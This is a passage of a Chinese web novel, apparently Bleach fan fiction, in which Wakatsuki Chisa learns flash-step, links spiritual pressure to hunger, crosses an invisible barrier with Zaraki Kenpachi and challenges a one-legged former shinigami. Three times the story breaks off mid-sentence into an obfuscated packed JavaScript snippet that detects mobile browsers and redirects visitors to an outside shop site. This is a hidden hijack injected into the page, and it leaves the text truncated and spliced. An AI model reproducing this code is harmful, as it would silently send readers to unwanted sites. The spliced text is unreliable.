既然不缺顾客,那她就搞个限购呗。她不是圣人,不可能无私地将水免费施舍给别人。不过,在条件允许的情况下,她更乐意把些微善意洒向那些亟需水的贫困者,而非便宜她的同行或投机者。 自那日起,若月千纱遵守自己的诺言,每隔四五日便跑一趟森林运一回水。 两人的生意红红火火,惹得一些心术不正的家伙动了歪心思,使出了些不入流的手段。 但是,他们的手段全落了空,这对孤苦伶仃的姐弟的反击给予了他们惨痛的教训。 他们隐约猜测到,为何抱金过闹市的姐弟俩能活得这般逍遥自在,而姐弟俩居住的那一带又为何比其他地方更加安宁。 若月千纱和更木剑八维持着和之前相差无几的生活水平,老老实实卖水为生,在78区生活了一月又一月。 突然有一天,已经沦为生活背景板的蓝紫色蝴蝶毫无预兆地飞到她面前,化作了蓝紫色光屏——系统任务完成,她获得了初级瞬步技能。 若月千纱一脸懵逼。 她最近有做什么特别的事情吗?没有。她提高了更木剑八的生活水平吗?也没有。 “摩西摩西,系统,你出故障了吗?你是反射弧太长延迟发放了奖励,还是脑子抽风给我赊了账?咱们别当谜语人,你明确点告诉我,我是怎么符合条件的,好不好?我想日后做个参考……啊——” 不同于以往包裹全身的暖流,这一次系统发放奖励时,似乎有一双看不见的大手撕扯着她的大脑神经,让她头疼欲裂。 在她遗失的空白记忆里,一段模糊的画面悄然浮现,伴随着破碎的几不可闻的声音。 “……系统……穿越时空……收养……改变……不要忘记!” 若月千纱眼前一黑,一头栽倒在地。 25.第二十五章 更木剑八听到响声,循声望去,发现刚才正对着空气自言自语的若月千纱不知为何晕倒在地,一脸痛苦。 “千纱?” 他刚想跑过去,就看到她没事人一般从地上蹦了起来,摸着后脑勺冲一旁撒气,声音中气十足:“哇,刚才摔得可真结实,看,这里肿了好大的一个包!系统,我只是调侃了你两句,你至于在发放奖励时下黑手么?太小心眼啦!” 更木剑八见她嘴上说着疼,脸上却看不到之前异常的痛苦,放下心来,扭回身体。 那一刹那的剧烈疼痛感彷如错觉,没有一丝一毫残留在她身上。向系统讨公道纯属浪费时间,她抱怨了两句,便查看起任务奖励。 “哦哦哦,瞬步原来是这个样子的吗?好厉害!剑八一定没有见过!”若月千纱如同刚得到新玩具的小孩子,迫不及待地向更木剑八炫耀她的新技能,“哎,剑八,看这里,我给你露一手新绝招!” 更木剑八应声看去,见她走到离他最远的位置,面向他打了个响指。 他不曾眨眼,若月千纱却如隐身了一般,瞬息消失在他的视野中。 与此同时,他身后响起了一声钝响,房子跟着震了几震。 他猛地转身,发现若月千纱赫然他身后,正捂着泛红的额头。 发觉身后目光,若月千纱淡定地收回手,转身笑眯眯地看着他:“你有没有看清楚我是怎么到你身后的?” 他诚实地摇头:“没有。” 她开心地比划起胜利手势:“哟西,大成功!” 更木剑八斗志昂扬:“用上你的新绝招,我们对练!” “那可不行,我还没把新绝招练熟呢,暂时运用不到实战中。你等我几天,我要把你打趴,抢回近身格斗第一人的宝座!做姐姐的,总不能一直输给弟弟吧?” 更木剑八是个不折不扣的战斗天才,她开着挂都没能赶上他的进步速度,已然被他反超,沦为他的手下败将。如今,她有新的外挂加身,看到了一抹胜利的曙光!她要咸鱼翻身,重拾姐姐的威严! “好,我等你变强!” “屋里太窄,我去门外练习新绝招。绝对不能偷看哦!” 若月千纱再三叮嘱,从更木剑八身旁走过,出了门。 门刚合上,她表情一垮,把藏在身后的左手臂举到身前,掀开袖子,左小臂上刚浮现出来的淤青触目惊心。 “嘶——小看新技能了,瞬步比想象中更难控制呢。炫耀变现场翻车,这是什么人间惨剧呐。幸好我反应快,没让他看到我没收住脚撞到墙上的囧样,成功挽尊。”若月千纱小小地庆幸了一回,“战帖都下了,我必须尽快掌握它!” 瞬步能够以一般人肉眼看不见的速度快速移动一段不短的距离,效果堪比瞬移。它的优点显然是速度,但缺点同样也是速度。 瞬步是个大杀器,技能练熟后让人如虎添翼。但是,倘若没有掌握好移动距离,或者发动技能时的方向略微偏移,它能让主人体验到心跳加速的感觉。 若月千纱上天入地、撞树嵌墙了无数次后,才勉强抓到了诀窍,失误率越来越低。 夕阳西下,若月千纱在门外拍掉身上的灰尘,整理好凌乱的发型和衣服,把撞出来的淤青藏在衣服和头发下,好整以暇地推门入内,粲然一笑:“哟,剑八,我离打倒你更近一步啦!” 她把自己的脸保护得很好,更木剑八没能从她一尘不染的脸上看出什么不对,眼睛明亮了一分,摩拳擦掌:“真希望那一天快点来啊!” “放心,不会让你久等的。就算不如你那般天赋异禀,好歹我也在一直进步啊!” 同样是加载新技能,她现在的吸收能力和以前可不能同日而语呢! 她走到水桶边,舀起一瓢水,咕咚咕咚喝了个精光。 她在练习瞬步时一直觉得口渴难耐,比在80区时更甚。她那时正处于开窍边缘,不想中断练习以免失去好状态,便一直强忍不适。现在,强烈的饥渴感冲开了闸门,从她的喉咙一直烧到胃里,胃都痛得抽搐起来。 清爽的溪水划过喉咙,流经食道,最后落进她的胃里,却无法浇灭那股来势汹汹的干渴感。 若月千纱愣住了:“怎么回事?” 她低头瞅了瞅手中容量不小的水瓢。 换做从前,这一瓢水下肚,她三五天都不会觉得口干舌燥。而现在,一瓢水竟不顶用。 她不信邪,又舀了一瓢水喝下。 干渴感似乎平复了些许。 若月千纱又喝了好几瓢水,终于驱散了那股不同寻常的饥渴感。 “呕……水再珍贵,喝多了也怪难受的。”她抚了抚圆滚滚的肚子,在屋子里一边踱步,一边思考,“反常的是我,还是溪水?这桶水是我亲手从那条溪流里打上来的,和以前喝的应该不会有差,问题百分之九十九点九出在我身上吧。到底是什么问题呢?” 经此一事,尽管只有百分之零点一的可能性,但她不自觉地对水投以更多的关注。因此,她注意到一件平日里不曾关注过的事。 “剑八,你喜欢喝水吗?” 更木剑八摇头。 水的滋味其实很寡淡,他初尝时觉得清甜,后来喝多了便没有那种感觉。除非口渴,他很少会主动喝水。 “那你刚才为什么会去喝水?我记得昨天吃鱼时,你有喝过水呀。” “口渴。” 嗯? 出乎意料的答案加深了若月千纱的疑惑,她把视线转向那一桶水。 更木剑八增加了喝水的频率,他的状况和她略有相似。巧合?抑或必然? 在她眼里,那桶水的可疑度上涨百分之四十九点九。 她掏出一枚砝码,准备放入保持平衡状态的天平的一端:“你喝完水后没多久就觉得口渴,是这两天才这样的吗?” “不,很早以前就这样。” “诶——?”若月千纱倏地扭过身体,冲上前抓住他的肩膀,“很早以前是指多早?” 更木剑八想了想,满不在乎道:“忘记了,反正就是很早。” 他的回答揭示了第三种可能性的存在,将她心中的天平从中间劈断开来。 答案究竟是什么呢?若月千纱百思不得其解。 翌日,若月千纱带着这个疑问,抱着水桶和更木剑八一起去了森林。 更木剑八负责在一览无遗的溪流处捉鱼,若月千纱负责在林子里捡干树枝。 森林里树木繁茂,道路错综复杂,少有笔直的小道。 若月千纱捡了几根干树枝后,心血来潮:“我已经能在平坦的路上发动瞬步,该适当增加点难度了。这里不正是训练的好地方吗?” 距离越短,瞬步的控制难度越大。这种崎岖不平的小路作为她的训练场地,再合适不过。 她念头一转,便身体力行起来,发动瞬步去捡不远处的干树枝。 发动瞬步的次数一多,和昨夜类似的饥渴感再度席卷而来,让她心生异样,手掌按压住胃部。 “应该不是巧合,这种特殊情况和我发动瞬步有直接关系。而在我和剑八之间,也一定存在着我所不知道的某种关联。” 若月千纱抱着干树枝回到溪流处,发现更木剑八仍在岸边叉鱼。 她放好树枝,半跪在溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219966|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁,双手掬起一捧水送到唇边喝下,暂时把火烧火燎的干渴感压下一些,走过去一瞅,发现他所在的那一段溪流几乎看不见鱼影,而水桶里装着的鱼儿不足十指之数,大小也略有些缩水,仅剩巴掌大小。 更木剑八正在长个子,眼下正是个大胃王,这几尾鱼还不够他填肚子的。 “我们来得太勤快,这里的鱼果然越来越警觉了呢。可惜呀,溪流的长度是有限的,它们再怎么躲,也逃不出我们的手掌心。山不来就我,我来就山。走吧,剑八,我们换个位置。” 两人沿着溪流走了一小段路,又叉了一些鱼,一起架火堆烤鱼。 烤鱼的香味渐渐扩散开来,飘进若月千纱的鼻子里。 这股香气似乎比以前更加诱人,她情不自禁地抽动鼻子,咽了咽口水,胃里又抽搐起来。 鱼刚烤熟,她便急不可耐地拿起一根穿过鱼身的木签子,吹了两下,一口咬在鱼肉最丰腴的位置。 “哇,好烫!” 滚烫的鱼肉差点烫伤了柔嫩的口腔,但她仍不舍得将它吐掉,张大嘴巴呼气散热,待它的温度褪去一些后,嚼了三两下便吞进腹中。 酥香柔嫩的鱼肉一入腹,她的胃里便熨帖了不少,绞痛感跟着平缓下来,比溪水的止渴效果明显许多。 她大快朵颐,一时间顾不上别的,直至一整条鱼下肚,才后知后觉地发现这个细节。 若月千纱的大脑全速运转起来。 施展瞬步后异常的口渴感;燃烧抽搐的胃部;收效甚微的溪水;鱼肉下肚后明显的满足感;异常前后的区别…… 不,不对,拼图的碎片零零散散,无法拼凑出完整的拼图。 她的目光投向风卷残云中的更木剑八。 他的身高数年不变,这两年来却缓慢地长高了几厘米;他的喝水频率从很早以前就有所提升…… 拼图的碎片增加了,但依然不够完整。 她试图将碎片拼凑在一起,但它们缺乏一个关键线索作为核心碎片,无法串联在一起。 她有预感,只要找到它,她就能把拼图的所有碎片归位。而那块碎片应该就藏在她的记忆一角,正若有若无地向她散发着存在感,呼之欲出。 这种仿佛马上要记起来,却又卡在那里不上不下的感觉太过折磨人,若月千纱心里烦躁得很,坐立不安,刚才还让她垂涎三尺的烤鱼都不香了。 更木剑八吃饱喝足后抬眼,见若月千纱拿着已经没有热气的烤鱼串发愣,疑惑道:“你不吃了吗?” 若月千纱转过脑袋看向他,眼神木木的,目光没有焦距,明显对烤鱼不感兴趣,正在神游天外。 更木剑八摸了摸滚圆的肚子,遗憾地放弃了帮她解决剩下几条烤鱼的念头。 他的动作映入若月千纱眼中,似一道闪电,点亮了她的眼睛。 “就是这个!最后一片拼图!”她一跃而起,疾声问道,“剑八,以前你是不是曾经说过,说你肚子饿?” “那是错觉,你说的。” “不对,那不是错觉!刻板印象要不得啊!我怀疑脑中无根的记忆,又从未饿过肚子,以至于把老师所说的‘魂魄不会肚子饿’当成了真理!”若月千纱激动得语无伦次,在原地来回踱步,“错了,老师说错了!他从未走出过79区,对这个世界的认知或许只是冰山一角,那句话其实是谬论!你和我确确实实是肚子饿了!” 至于他们为什么会肚子饿? “我一直以为,发动瞬步需要消耗的灵力单纯只是‘灵魂的力量’,忽视了它。现在看来,灵力或许就是导致我们肚子饿的根源。剑八,陪我去一个地方!” 26.第二十六章 若月千纱兴奋不已,拔腿就走。 刚走两步,她倒退回原位,拿起烤鱼一阵狼吞虎咽,口齿不清地嘟囔着:“浪费可耻。” 她把剩下的几条鱼啃得干干净净,朝更木剑八喝道:“剑八,我们走!” “去哪里?” “去我们常去的那个地方!” “我们前几天刚去过那里吧?” “我有强烈的预感,这一次,我极有可能成功。你陪我去一趟呗,好不好?嗯?” 更木剑八败在她的目光下,向她走来。 “走喽!” 他们把水桶留在溪边,穿过森林,来到78区和77区的交界处。 “我又来了。如果我没猜测错误的话,你休想再拦住我!别以为……” 更木剑八站在77区的地盘上,发出疑问:“千纱,你不过来吗?” “咳咳,马上就来!” 若月千纱清咳了两声掩饰尴尬,看向一步之遥的无形屏障,抬起右脚。 她的右脚在半空中悬停了几秒。 万一她猜测错误,她应该会受到很大的打击吧。将希望高高捧起后再摔到地上的滋味,真的是……非常凄惨。 但是,这不是她止步不前的理由,她不允许自己临阵退缩。 她毅然决然地迈出右脚。 没有万一。 一次又一次拒绝她的无形屏障在这一刻偃旗息鼓,好像不存在一般。 她穿过了那道仿佛要把她拦截到天荒地老的无形屏障。 “我真的……过来了?” 若月千纱有种不真实感,不知所措地看了看脚下的土地,而后环顾四周。 在她身后,有一条泾渭分明的无形分界线,将相连的土地分割成两半,一侧是她和更木剑八,另一侧是密密麻麻的人。 她的成功万众瞩目,无数人把目光投向了她。 “我认得那个女孩,她以前和我们一样,过不去那边!” “真的吗?她成功了?” “喂,小鬼!你这次为什么能过去?快点告诉我们原因!” 有人认出了一次次挑战无形屏障却屡战屡败的若月千纱,人群里顿时炸开了锅,蜂拥而上。若非无形屏障挡住了他们,恐怕她现在已经被激动的人群淹没,置身于无数双脚底之下吧。 在嘈杂的喧哗声中,她找回了一点真实感。 笑容一点点爬上她的脸:“我成功了!剑八,你看见了吗?我攻克下它了!灵力,我猜得果然没错,这道屏障的筛选条件就是灵力!” 她转过身体,面向一大群面露企盼、目光急切的人,从他们身上看到自己之前的影子,心里不由软了几分。 她会告诉他们真相。至于他们是否决定相信她、是否打算放弃无谓的挣扎,一切都看他们自己的选择,她不干涉,也无所谓。 她伸出手,比出安静的手势。 在这种嘈杂的环境中,肢体语言比大喊大叫好使。 对面的分贝一波接一波降低,很快便安静了下来。 若月千纱把双手围在嘴边,发动狮子吼:“灵力!从这里通过的关键在于灵力!” 话音刚落,人群又躁动起来。 “灵力?灵力是什么?” “你讲清楚一些!” “有谁知道要怎么掌控灵力的吗?” 若月千纱扔下一枚炸弹,转身吐了吐舌头:“不是我不告诉你们,它是系统奖励给我的,我也不了解呀。别什么事情都指望别人,你们自己想办法弄清楚吧。剑八,我们回去一趟,把落在屋子里的重要东西带上。” “重要东西?” “就是钱啊。我们要去新地盘闯荡,怎么能不带上它们呢?另外,我想了结一件事。” “哦。” 更木剑八朝无形屏障走了两步,准备折返。 若月千纱拉住他的衣领后方:“等等等等,你打算就这样走回去?没看到那头虎视眈眈地盯着我们的那一群人吗?你信不信,等你跨出屏障,他们就会把你围个水泄不通?你打算怎么脱身?” 更木剑八晃了晃拳头,理直气壮:“把他们全部打倒!” 若月千纱一愣,看向不远处乌泱泱的一大群人,脑袋上灯泡一亮。那些人怎么会是麻烦呢?他们根本就是最好的沙包……陪练对手嘛! “对哦,最近风平浪静的,我们已经很久没和其他人战斗啦。你憋得很辛苦吧?今天随你高兴,打到你尽兴为止,我来掠阵。”她扫视前方,眼睛一弯,“至于你们……嗯,以后要注意和别人保持安全距离呀。对别人围追堵截、死缠烂打的人,活该被揍一顿。” 两人做好战斗准备,迈出屏障。 果不其然,有一群人如同闻到血气的鲨鱼,瞬间蜂拥而至。 若月千纱和更木剑八不约而同地露出嗜战的笑容,迎身而上。 在场的沙包们……陪练对手们的战斗水平参差不齐,强的虽无法和他们比肩,弱的却也远超普通人的水准,数量足以弥补质量的缺口。 蚁多咬死象,二人只想玩个尽兴,并没打算阴沟里翻船,多少保留一些力量以备撤退之需—— “哈哈哈,痛快!” 更木剑八酣畅淋漓地打了一架,通体舒畅,带着一身伤在倒地的人群之中放声大笑。而后,他力竭坐下,在众目睽睽之下摆出毫无防备的调息姿势。 ——纠正一下,保留力量准备后路的仅若月千纱一人。 可乘之机近在眼前,被更木剑八放倒在地的人一跃而起,将獠牙对准了他,吹响了咸鱼翻身的反击号角。 一道残影掠过,几只手脚尽数落空,处于包围圈的人赫然已不见踪影。他们诧异地四下张望,发现那个各方面都不似人类的小孩子正挂在不知从哪里冒出来的少女的肩膀上,以极快的速度远离他们。 “笨蛋,好歹留点力气用来跑路啊!那些人被我们这么暴揍一回,不可能手下留情,你想玩完就送命吗?你是笨蛋吗?” 若月千纱一边战略性撤退,一边不停地数落肩上的崽崽。 更木剑八放松地把全身重量交给她,懒懒地趴在她肩上,“有你在啊。” “什么有我在,万一我刚好被人缠住,脱不开身,没办法及时救你,你这会儿还能喘气么!”若月千纱没被他话语中流露出的信赖迷惑,一只手重重落下,轻轻拍在他的后脑勺上,嗔怒道,“下次不可以这样,多危险啊!别只顾着打个痛快,得留些余力应对打架后的事情!知不知道?” “哦。速度快点,有人追上来了。” “切,我都甩开这么远了,那些家伙还不死心么。” 若月千纱用掉最后一丝余力,发动瞬步,瞬间没入森林。 森林里地势复杂,寻人不易,非常适合甩脱他人追踪。 进入林子后,若月千纱熟练地留下些许误导他人、指向错误方向的痕迹,消除掉自己的足迹,轻车熟路地跑向了那条熟悉的溪流。 她把更木剑八往地上一放,仰面朝天躺下,整个人摊成大字型,勾起嘴角,笑容恣意:“啊,打得真爽!” 更木剑八回想起刚才的混战,咂摸了一番滋味,心底反而滋生出一股遗憾:“他们的个人实力还是不够强。” 打群架很有趣,但是,他更倾向和强敌一对一的更直接、热血、激情的战斗。 然而,随着实力的上涨,那种战斗越发可遇而不可求。除了身旁的人,他这两年已难逢敌手,极少有人能让他产生命悬一线的危机感。 “是啊……不对,但凡他们个人实力再上一个台阶,我们都得原地投胎……”若月千纱动了动四肢,感受到身体数个部位或轻或重的疼痛感,声音一顿,“不,那时候我就不会选择主动挑衅他们,而是开瞬步直接闪人。我又不是一根筋的战斗狂,怎么可以逮着一群人就没头没脑地莽上去?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245913|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才不嫌命长呢!” 架打得多了,只需几眼,她就能大致分辨出一个人的实力高低,准确率极高,少有误差。她才不打没有胜算的架! “打爽了再说。” “臭小子,这种想法很危险,赶紧把它丢出脑袋……不对,之前就有苗头,你最近的打架风格比以前狂野奔放,好几次热血过头了。记住,命只有一条,玩完了就彻底玩完了。你想想看,拼了命爽一回没有下一次,跟保住性命,未来爽它个成千上万回,哪一种划算?” “先爽一回。” “给我选第二种啊!第一种明显血亏!你又不是年轻气盛的青春期少年,行事怎么这么冲动没分寸……啊,不对,你只是看着年纪小,实际上活——死——历经了至少十几年岁月,应该就处于做什么蠢事都不稀奇的青春期阶段。啧,这会儿无论我说什么话你都听不进去吧?罢了,我只好受累多看顾你一些,谁让我是你姐姐呢?” 她翻阅过脑中记忆,青春期的少年感性大于理性,热血为先。劝更木剑八乖乖听她的话?她死而复生的概率或许更大吧。 躺了一会儿,耗尽能量的胃向她发起饥饿警告。 “好饿。” “我也是。” 两人齐心协力,就地取材,将空荡荡的肚子填满,回家拿上该拿的东西,折返回无形屏障处。 这一次,他们没有与别人起冲突,低调地进入新的区域,开始了走走停停的漫长旅途。 他们身前,不再有任何无形屏障阻挡去路。他们一路走一路停,寻找着强者们的踪迹。他们向强者们下战帖,痛痛快快地战斗一番,尽兴后便欣然离去,穿过一个又一个区域。 新的区域总是比前一个区域更繁荣一些,而治安也更趋于和平安稳。 再光明的地方也存在着黑暗,但是越光明的地方,黑暗也越来越少、越藏越深。他们的“生意”越做越不顺,最终两人被迫从良,靠老老实实打短工赚盘缠,只在偶尔碰巧时发笔横财。 两人战意盎然,奈何,他们遇到的对手却逐渐不如人意。他们的实力在稳步增长中,但对手的实力似乎局限在某个上限之下,和他们的水平越差越远。 他们停留在新区域的时间越来越短。 和喽啰打架,再高的兴致也得被泼上几桶冷水,有什么乐趣可言呢? “我们得认清一个事实——不是我们太强,而是对手太弱。”若月千纱笃定地说道。 这些年来,她又完成了一个任务,刷新了系统的状态及任务栏。然而,她记忆犹新,关于武力值,系统给予她的评价,仅仅只是“出类拔萃”四字而已。 更木剑八已有很长一段时间没经历过满足的战斗,正躁动不安着,浑身上下不得劲,渴战之心无比旺盛。 听到她的话,他的视线笔直地看向她,燃烧了起来:“比我们更强的对手在哪里?” 这个小笨蛋,在别的地方明明笨笨的,但涉及到战斗时,却又比谁都敏锐,轻易听懂了她的话外之意。 若月千纱笑了笑,把目光投向远方,唇齿间一字一顿地吐出两个字,掷地有声:“死神。” 越靠近瀞灵廷,死神的信息越不是秘密。在这一路上,他们已听说过太多关于死神的消息。 据传,大多数的强者都荟聚于瀞灵廷中,成为了死神。 据说,强者未必都是死神,但死神,都是货真价实的强者。 只可惜,死神的工作范围和他们的生活没有交集,一直缘悭一面。 更木剑八眼中的火焰更甚。 他听过死神的传闻,也存着和死神比试一番的心思。只不过,瀞灵廷太远,而之前一直找得到人和他战斗,他无需舍近求远。 “千纱,我们去瀞灵廷。” 他要跟死神战斗! “不急,我们先去见一见传说中的死神吧。”若月千纱微微一笑,“我打听到了一个死神的隐居地。” 27.第二十七章 死神有什么好稀奇的?从现世进入流魂街的魂魄,谁没见过死神一面呢?哦,当然,失忆的人除外。 然而,在尸魂界中,对生存于流魂街的寻常魂魄而言,死神真的是稀罕物,堪比游戏中野图大BOSS一般的存在。终其一生,他们都未必有缘见到死神第二回。 死神们拥有漫长的生命,定居于尸魂界里生活环境最优渥的瀞灵廷。他们肩负重任,一般只在现世、瀞灵廷和虚面前出没,空暇时则在物资丰饶、歌舞升平的瀞灵廷里享受生活,故流魂街罕有他们的踪迹。 不久前,在这个序号位于中下游的流魂街区域,有人亲眼见到一个穿着死霸装的男人入住居民区。这无疑是则劲爆新闻,是茶余饭后的最佳谈资。目击者没有管住自己的嘴巴,忍不住向友人谈及此事。这个消息不胫而走,一传十,十传百,成为许多人心照不宣的公共秘密。 就在不久前,若月千纱无意中听众人提了两嘴,才知道死神原来近在眼前。她趁机向知情人套了话,得知了那个死神的隐居地。 两人展现出他们非凡的行动力,没有耽搁一分一秒,即刻动身,去拜访那位传闻中的大人物。 传言中的死神大人住在远离市井喧嚣的地方,地处偏僻,房屋宽敞大方却略嫌简洁,附带一个小小的庭院。在序号中下游的区域,这处住宅甚至称不上豪宅,匹配不上它主人偌大的名气和身份。 瀞灵廷内,死神多如蚂蚁,想从中找个普通魂魄出来都难。可放在流魂街,特别是序号偏后的区域,死神的地位极高,堪称人上之人。这样的人物,真的愿意放弃在安逸舒适的瀞灵廷生活,到这种偏僻的小地方隐居吗? 若月千纱甫一看到房屋全貌,心里便打了个突,怀疑自己偏听偏信了错误的小道消息。 她愣住了,更木剑八没有。 他心思简单,没若月千纱那么多复杂想法。见她没有动作,他便上前重重地敲响了门,扯着嗓子喊了起来,童声清脆:“开门!” 来都来了。若月千纱抛开杂念,跟着喊道:“下午好!里面有人吗?打扰一下!” 他们稍候片刻,无人应答。 “没人在家吗?” 更木剑八耳朵一动,侧耳凝神倾听,提脚就要踹门:“别装死,出来,我听到声音了!” “剑八,耐心一点,我们不是上门来砸场子的,要有礼貌。”若月千纱及时拽住他的后领把他往后拉开,提高声音,“再等一会儿。如果屋里人一直不开门,到时候再踹门也不迟。” 他们都不是敬畏死神的人,才不怕得罪死神。她还有一笔旧账想要和死神清算呢! 与其吃闭门羹,不如将人激出来。屋里的人不是死神的话,他们大不了和对方打个架;是死神的话更好,正好激怒对方,引人出手,也算正中下怀。 若月千纱再次不轻不重地扣响大门。 “哒、哒、哒……” 这一回,被小院子包围的房屋里传出轻微的脚步声,伴随着木头叩击地板的极有节奏的轻响。 一个胡子拉碴、形容颓废的高瘦大叔拄着拐杖推开门,目光死气沉沉地看向院子外的两人,身上找不出半点精气神:“吵死了,小鬼。” 无论从哪个方面来看,来人都出乎意料。 若月千纱愕然,目光从男子身上邋遢的普通衣服扫到右腿的断肢,略带怜悯,而后落在那张郁郁寡欢的胡子脸上,声音轻柔八度:“你好,请问死神大人在吗?” “这里没有你们要找的死神大人。”男子不耐烦地朝他们挥舞了几下拐杖,隔着院门赶人,“你们找错地方了,回去吧。” “果然……”是谣言么? 若月千纱话音未落,更木剑八突然原地一蹦,双手一撑门顶,轻松地翻过院门,跃入院子。 她心下一惊,下意识随他翻过院子,伸手去捉他的肩膀:“剑八,你做什么呢,太失礼了……” 不能欺负弱者呀!他平常不会这样,今天为什么行事这么反常呢? 更木剑八没有理会后面的人,仰起脑袋,隔着半个院子向他邀战:“我们来战斗吧!” 若月千纱身形一顿,止住了未尽的话语。 更木剑八是个单纯的孩子,他会向人挑战,理由有且仅有一个。 她心眼并用,拂开表象,认认真真地看向在更木剑八的挑战下驻足扭头的男子。 凝神一看之下,她不由得心神一阵剧烈震荡——他身上竟隐藏着一股比深渊更深沉的强烈威压感,宛如一头蛰居的怪兽! 残疾人?那又如何?他分明是他们有史以来见过的最强者!这样的人,怎能因他身体有点小缺陷就小瞧他呢? “失礼的人原来是我啊。一叶障目,真是惭愧。”若月千纱深鞠躬,声音里饱含歉意,“对不起!是我肤浅,被表象迷惑了双眼。” 男子还未表态,她便直起身子,摩拳擦掌道:“加我一个!请应战!” 怎么可以让更木剑八独享战斗的乐趣呢! 面对一大一小两个孩子的先后请战,男子脸上飞快地掠过一丝苦涩,面无表情地扔下一句:“出去!”转身便想回屋。 “别走!请应战!” 男子背对着他们,身体一颤,抓着门沿的五指一紧,头也不回道:“战斗?和我这个废人?” “废人?” “你们没看到我缺了右腿吗?” “看到了啊,我眼睛又没瞎。那又怎么样?不就是少了一条腿么,又不是什么大不了的事情。你是强者啊!” 这话说得轻巧,戳得男子的心窝血淋淋地疼。 这个小女孩怎么可能知道断腿后他面临的一系列绝望呢? “那又怎么样?你知道——算了,和你们这种小鬼没什么好说的。这里没有能和你们战斗的人,滚出去!” 男子一阵心灰意冷,懒得再多说一句话,反手就要把门关上。 “不是吧,难道你只是因为缺了区区一条腿,就自怨自艾、自暴自弃了吗?”若月千纱匪夷所思地瞪大眼睛,“你又没有瘫痪在床,可以自由行动呀。” 强者不比弱者,即使失去一条腿,他也比这个区域内的任何人更强、更具备生存能力、能够活得更好! 如果他这样的人算是废人,那外头满街上的人难道连废人都不如吗?他们一路所见的不屈服于困境、挣扎求生的人是不是该直接躺平任人宰割?那些最终在优胜劣汰中丧命的人活着只是场笑话吗?……好不容易才从80区生存下来、一路艰难地走到这里的他们二人又算什么呢? 将心比心,设身处地,他们活得那么艰难还这么努力,而他只是断一条腿而已,难道就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“废话真多。啰嗦那么久干什么?浪费时间。管他有没有少一条腿,打一架就知道他有没有本事了!”见两人对话没完没了,他忍耐到了极致,索性不忍了,拔腿冲向男子,“废人大叔,出招!” 若月千纱一个眼疾手快,把对她没有防备之心的更木剑八拦腰抱起,使劲往院子外一丢:“剑八,你犯规了!上回挑战时我们说好的,那一次你先上,这一次轮我!” 更木剑八在半空中调整好姿势,如落叶般轻盈地落在地上。他歪着脑袋冥思苦想一番,“啊”了一声,大喊道:“没有这回事!我们只约定过,谁先抢到机会,谁先和对手战斗!” “嘿嘿嘿,兵不厌诈,这次机会是我的啦!”若月千纱抢占先机,屈起右膝,左脚一蹦一跳地往前冲,“废人大叔,接招!为了公平起见,这场战斗我不会使用右腿。如果我用了右腿,就算我输。这样总不算在欺负你这个残废吧?” 一口唾沫一个钉,说好不用右腿就得做到极致,哪怕用它支撑身体或借力都不行。 她的言行侮辱性不弱,伤害性更强。 男子看着单腿兔子跳的少女,扔开拐杖,眼中怒火化作燎原的烈焰,仿佛要脱离眼眶,将她吞噬殆尽:“嚣张的小丫头,我会让你后悔说出这些话!” 28.第二十八章 其实,若月千纱提出这个所谓的“公平”的战斗条件堪称损己利人。毕竟,男子早已适应了残缺的右腿,而她却需要刻意屈起膝盖,下意识不去使用右腿。 为此,她的身体平衡受到影响,动作变形,不经意间也总是留意右腿,导致注意力涣散,无法专注于战斗,实力被削弱了几分。 她这样做,并非是她自视甚高、轻视眼前的残疾男子抑或失望过度以致失去理智的缘故。她深知,无论他再怎么妄自菲薄、自视废人,他身上的威势是实打实的,不容小觑。只是,为了让男子使出全力应战,她不得不出此下策。 不过,她藏着几手压箱底的底牌,并不觉得自己会轻易输给对方。 然而,她越和男子交手,心中越是震惊。她万万没想到,他的实力竟如此之强。 她从80区一路打到这儿,身经百战,在战斗中所向披靡。若她自称第三,无人敢称第二——更木剑八早已青出于蓝,是深根固柢的第一人——如今,她似乎只能退居第三。 论力量,经过长年累月的锻炼,她早已挣脱女子天生力弱的桎梏,堪比大力士,可对方比她更胜一筹;论战斗技巧,对方一招一式如羚羊挂角,比她更加娴熟精妙;论反应速度,她已称得上十分敏锐,对方却略胜一筹……她竟没有哪一方面占优。 这场近身肉搏战强弱分明,局势可谓一面倒。即便是外行人,也能轻易分辨出这场战斗的胜负。 更木剑八虎视眈眈地在一旁观战,此刻按捺不住地摩拳擦掌了起来。 他们约定过的,在1V1的战斗中,只要不危急性命,他们不得插手彼此的战斗。但是,一旦决出胜负,另一个人就能替换下败者,和胜者继续战斗。 “剑八,你准备得太早啦!还不到你上场的时候。”若月千纱用眼角余光捕捉到了这一幕,嘴角抽了抽,轻声嘀咕,“我还没有输!谁规定这场战斗只能用空手格斗术啦?我还有手段没使出来呢!” “有手段就赶紧使出来!还是说,你只是嘴上厉害?”男子耳尖,听到她的自言自语,向她挥出一拳,“如果只有这么点本事,我建议你老老实实夹起尾巴做人,赶紧滚回去!” 